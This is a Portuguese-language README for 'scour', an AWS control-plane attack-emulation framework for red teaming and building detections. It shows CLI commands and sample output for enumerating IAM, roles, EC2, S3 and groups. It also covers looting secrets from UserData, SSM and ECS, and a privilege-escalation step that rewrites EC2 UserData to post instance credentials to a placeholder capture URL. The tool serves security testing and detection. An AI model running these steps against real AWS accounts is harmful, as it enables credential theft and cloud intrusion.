grines/scourFramework de exploração AWS baseado em módulos para testes de red team e análise de blue team. Emula padrões de ataque no plano de controle da AWS com rastreamento de UA único para desenvolvimento de detecção.
Esta ferramenta é usada para emular padrões de ataque dentro do AWS Controlplane. Cada ataque é marcado com um UA específico para a equipe azul sinalizar.
Este ainda é um trabalho em andamento ativo. **Muitos Bugs
Não pronto para produção
Onde registrar problemas: https://github.com/grines/scour/issues
Mantido por: grines
Scour é um framework moderno de exploração AWS baseado em módulos escrito em golang, projetado para testes de equipe vermelha e análise de equipe azul. Scour contém técnicas modernas que podem ser usadas para atacar ambientes ou construir detecções para defesa.
Scour é escrito em golang, então é fácil distribuir como binário.
##Gettable
go get github.com/grines/scour
##Build
go build main.go
Para um conjunto de instruções mais detalhado e amigável, consulte o guia de instalação da Wiki. **em breve
Scour usa uma variedade de módulos:
Na primeira vez que o Scour é iniciado,
token profile <profile_name> <region> listará os perfis AWS disponíveis armazenados em ~/aws/credentials.token AssumeRole <role_name> <region> assumirá a função da mesma conta ou de conta cruzada. **requer sessão ativahelp module retornará as informações de ajuda aplicáveis para o módulo especificado. **ajuda TBDattack evasion <tactic> executará o módulo especificado com seus parâmetros padrão.scour entrará no modo cliNot Connected <> token profile apiuser us-east-1 define a sessão a ser usada para comandos que exigem umaConnected <apiuser/us-east-1> conectado ativamente a um perfil AWS de (~,/aws/credentials) em (região)Connected <apiuser/us-east-1> attack enum <attack> autocompletar com lista de táticas de enumeração disponíveisConnected <apiuser/us-east-1> attack privesc <attack> autocompletar com lista de táticas de escalação de privilégios disponíveisConnected <apiuser/us-east-1> attack lateral <attack> autocompletar com lista de táticas laterais disponíveisConnected <apiuser/us-east-1> attack evasion <attack> autocompletar com lista de táticas de evasão disponíveisConnected <apiuser/us-east-1> attack creds <attack> autocompletar com lista de táticas de descoberta de credenciais disponíveisConnected <apiuser/us-east-1> attack execute <attack> autocompletar com lista de táticas de execução disponíveis
Connected <apiuser/us-east-1> attack enum IAM descoberta IAMUA Tracking: exec-env/FhFIm7mvmp/nnK7NmJXNF/iam-enum
+-------------+---------------------+------------------+---------------+--------------+
| USER | MANAGED POLICIES | INLINE POLICIES | GROUPS | ISPRIVILEGED |
+-------------+---------------------+------------------+---------------+--------------+
| admin | AdministratorAccess | AllEKSInlineuser | SecurityAudit | true |
| EC2 | AmazonEC2FullAccess | | | true |
+-------------+---------------------+------------------+---------------+--------------+
Connected <apiuser/us-east-1> attack enum Roles descoberta de funçõesUA Tracking: exec-env/EVSWAyidC4/o18HtFPe1P/role-enum
+------------------------------------------------------------+----------------+-----------------------------------------------------+--------------+
| ROLE | PRINCIPAL TYPE | IDENTITY/SERVICE | ISPRIVILEGED |
+------------------------------------------------------------+----------------+-----------------------------------------------------+--------------+
| Amazon_CodeBuild_dW6zqYHT3m | AWS | [arn:aws:iam::861******:root | true |
| | | codebuild.amazonaws.com] | |
| Amazon_CodeBuild_f2DOFPjMHK | Service | [codebuild.amazonaws.com] | true |
| Amazon_CodeBuild_HS59ko7lxn | Service | [codebuild.amazonaws.com] | true |
+------------------------------------------------------------+----------------+-----------------------------------------------------+--------------+
Connected <apiuser/us-east-1> attack enum EC2 descoberta EC2UA Tracking: exec-env/EVSWAyidC4/dudqW7y1xb/ec2-enum
+---------------------+-----------------------------------------------------+--------------+----------+---------------+----------------------+--------+---------+--------------+----------+
| INSTANCEID | INSTANCE PROFILE | VPC | PUBLICIP | PRIVATEIP | SECURITY GROUPS | PORTS | STATE | ISPRIVILEGED | ISPUBLIC |
+---------------------+-----------------------------------------------------+--------------+----------+---------------+----------------------+--------+---------+--------------+----------+
| i-0f5604708c0b51429 | None | vpc-7e830c1a | None | 172.31.53.199 | sg-09fcd28717cf4f512 | 80* | stopped | false | true |
| | | | | | | 22* | | | |
| | | | | | | 5000* | | | |
| i-03657fe3b9decdf51 | arn:aws:iam::*****:instance-profile/OrgAdmin | vpc-7e830c1a | None | 172.31.45.96 | sg-61b1fd07 | All* | stopped | true | true |
| | | | | | | 8888* | | | |
| i-01b265a5fdc45df57 | None | vpc-7e830c1a | None | 172.31.38.118 | sg-0392f752f9b849d3f | 3389* | stopped | false | true |
| i-0867709d6c0be74d9 | arn:aws:iam::*****:instance-profile/OrgAdmin | vpc-7e830c1a | None | 172.31.39.199 | sg-006543a34d2f70028 | 22* | stopped | true | true |
| i-0d95790b5e7ddff23 | None | vpc-7e830c1a | None | 172.31.12.57 | sg-e1a50dac | 33391* | stopped | false | true |
+---------------------+-----------------------------------------------------+--------------+----------+---------------+----------------------+--------+---------+--------------+----------+
Connected <apiuser/us-east-1> attack enum S3 descoberta S3UA Tracking: exec-env/EVSWAyidC4/GDGZaYQOuo/s3-enum
+-------------------------------------------+-----------+-----------+--------------+-------------+---------------------+-------------+-------------+-----------+
| BUCKET | HASPOLICY | ISWEBSITE | ALLOW PUBLIC | PERMISSIONS | ALLOW AUTHENTICATED | PERMISSIONS | REPLICATION | REGION |
+-------------------------------------------+-----------+-----------+--------------+-------------+---------------------+-------------+-------------+-----------+
| amazon-conn********3d79b01a | false | false | false | | false | | false | us-west-2 |
| aws-cloudtrail-logs-**********98-cb39df0d | true | false | false | | false | | false | |
| bullsecu********* | true | true | false | | false | | false | |
| connect-6ec*****ad67 | false | false | false | | false | | false | |
| connect-******5337c3 | false | false | false | | false | | false | |
| ransom******** | true | false | false | | false | | false | |
| red******** | false | false | false | | false | | false | |
| rep-***** | false | false | false | | false | | false | us-west-2 |
| terraform******* | false | false | false | | false | | false | |
+-------------------------------------------+-----------+-----------+--------------+-------------+---------------------+-------------+-------------+-----------+
Connected <apiuser/us-east-1> attack enum Groups descoberta de gruposUA Tracking: exec-env/EVSWAyidC4/jAIKVdESpU/groups-enum
+-----------------------------------------------+---------------------+--------------+-----------------+--------------+
| GROUP | POLICIES | ISPRIVILEGED | INLINE POLICIES | ISPRIVILEGED |
+-----------------------------------------------+---------------------+--------------+-----------------+--------------+
| EC2 | SecurityAudit | false | | false |
| OpsWorks-dac9e9ba-8b3d-4e04-9ad9-d988ca4c0731 | | false | | false |
| TestGroup | AmazonEC2FullAccess | true | | false |
| | SecurityAudit | | | |
+-----------------------------------------------+---------------------+--------------+-----------------+--------------+
Connected <apiuser/us-east-1> attack enum Network descoberta de redeTBD
Connected <apiuser/us-east-1> attack privesc UserData i-0f5604708c0b51429 http://url.to.capture.post.data roubar credenciais de metadados do EC2. Parar instância / Atualizar userdata para postar credenciais na URL fornecida / Iniciar instância (envia token EC2 para a URL.)[Sun May 9 06:10:16 2021] INF Stopping Instance i-0f5604708c0b51429 - State: stopped
[Sun May 9 06:10:46 2021] INF Modifying Instance Attribute UserData on i-0f5604708c0b51429
[Sun May 9 06:10:47 2021] INF Starting Instance i-0f5604708c0b51429 - State: pending
Connected <apiuser/us-east-1> attack creds UserData saquear credenciais do userdata do EC2UA Tracking: exec-env/yzaqX9HFvP/oL1oho99ZP/userdata-creds
+---------------------+------------------+-------------------------------------------------------------------------------+
| INSTANCEID | RULE | FINDING |
+---------------------+------------------+-------------------------------------------------------------------------------+
| i-0f5604708c0b51429 | Slack Webhook | https://hooks.slack.com/services/T00000000/B00000000/XXXXXXXXXXXXXXXXXXXXXXXX |
| i-0f5604708c0b51429 | Generic Password | password=thisisapassword |
+---------------------+------------------+-------------------------------------------------------------------------------+
Connected <apiuser/us-east-1> attack creds SSM saquear credenciais do Systems ManagerUA Tracking: exec-env/yzaqX9HFvP/FASongUCcG/ssm-params-creds
+------------+----------+----------------------+
| PARAM NAME | DATATYPE | VALUE |
+------------+----------+----------------------+
| Test | text | thismightbeapassword |
+------------+----------+----------------------+
Connected <apiuser/us-east-1> attack creds ECS saquear credenciais do ECSUA Tracking: exec-env/9tsJFrIPmw/rEGaMfF5AI/ecs-creds
+-------------+-------+------------+
| ENVARS NAME | VALUE | DEFINITION |
+-------------+-------+------------+
| Secret | heere | sample-app |
+-------------+-------+------------+
Connected <apiuser/us-east-1> attack persist <attack> autocompletar com lista de táticas de persistência disponíveisConnected <apiuser/us-east-1> attack exfil <attack> autocompletar com lista de táticas de exfiltração disponíveis